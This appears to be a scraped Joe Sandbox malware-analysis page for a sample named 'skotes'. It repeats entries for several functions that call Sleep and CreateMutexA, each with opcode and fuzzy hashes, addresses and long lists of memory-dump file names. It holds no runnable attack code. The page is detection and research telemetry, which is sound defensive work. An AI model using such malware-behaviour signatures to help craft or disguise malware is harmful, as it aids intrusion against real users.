Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7993f215f5fae307fc25d8ec3ed55be98bc5d4a3155118a03521c5704f9e7446
Instruction ID: 713a2517cf307884f607d3d18ac2425f407a958be91fd2d40f5d0a575a6ee1a3
Opcode Fuzzy Hash: 7993f215f5fae307fc25d8ec3ed55be98bc5d4a3155118a03521c5704f9e7446
Instruction Fuzzy Hash: 11314A31B041459BEF189B7CDC8D76DB776EBC6310F208218E024977D5C73A99808B92

Function 0099A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cf225dfae3259bc9efd9efda5c6769998b642bc744102572f9292c65c5424457
Instruction ID: b21f9f9319fd6ff751d82f765817048d919eebb5d98e6d1c895aca9295411b78
Opcode Fuzzy Hash: cf225dfae3259bc9efd9efda5c6769998b642bc744102572f9292c65c5424457
Instruction Fuzzy Hash: 3B312C31B441449BEF18AB7CDC8DB6DB765EFC6310F248218E064976D5DB7589808A92

Function 0099A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 455181d82eeab151476c5a615f8d75127dd4231de5d473192ef72aa902e18b06
Instruction ID: 0fdf43438995c8e49ef5423cb9f9e685cab04cfe3962b31486daa998008e6476
Opcode Fuzzy Hash: 455181d82eeab151476c5a615f8d75127dd4231de5d473192ef72aa902e18b06
Instruction Fuzzy Hash: 60314A31B041448BEF18EB7CCC8DB6DB7A6EBC5314F248618E014DB6D6CB3989808B93

Function 0099A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1b1701c730c616b92aab5687c267290e886a873d9e2a177b552525dba9ce90af
Instruction ID: a8df0243d9d0bc356012a13201ba92eb69843cc710b0e201392a7ec50b40b628
Opcode Fuzzy Hash: 1b1701c730c616b92aab5687c267290e886a873d9e2a177b552525dba9ce90af
Instruction Fuzzy Hash: 26310B31B042449BEF18EB7CDC89B6DB7B6EBC5310F248618E024977D5C77589848BD2

Function 00999ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6678e6bdb5337dbd3ff16254f4cf72b6aa3a842bc2aa43b6d0e4addbb39a5519
Instruction ID: 59340e5408be4366ff480740389483368011fba18a2016e2b8781f92bd0c6ffe
Opcode Fuzzy Hash: 6678e6bdb5337dbd3ff16254f4cf72b6aa3a842bc2aa43b6d0e4addbb39a5519
Instruction Fuzzy Hash: 16214931B042449BEF18AB6CDC8DB7DF766EBC5310F20421DE428876D5CB7999808A92

Function 0099A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 27b034d8e80ab9f740830885bf2b81911161666c6c3ddc8f9c9bf5ac2f165f53
Instruction ID: cb8e05c4f3d95a07ce0cc1d7871443ae058a3e4d7b964380d2394b5107e6aa3b
Opcode Fuzzy Hash: 27b034d8e80ab9f740830885bf2b81911161666c6c3ddc8f9c9bf5ac2f165f53
Instruction Fuzzy Hash: 62213A317592019AEF2877AE889E77DB256DFD5304F344816E10C962D2CF7A498185E3

Function 0099A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
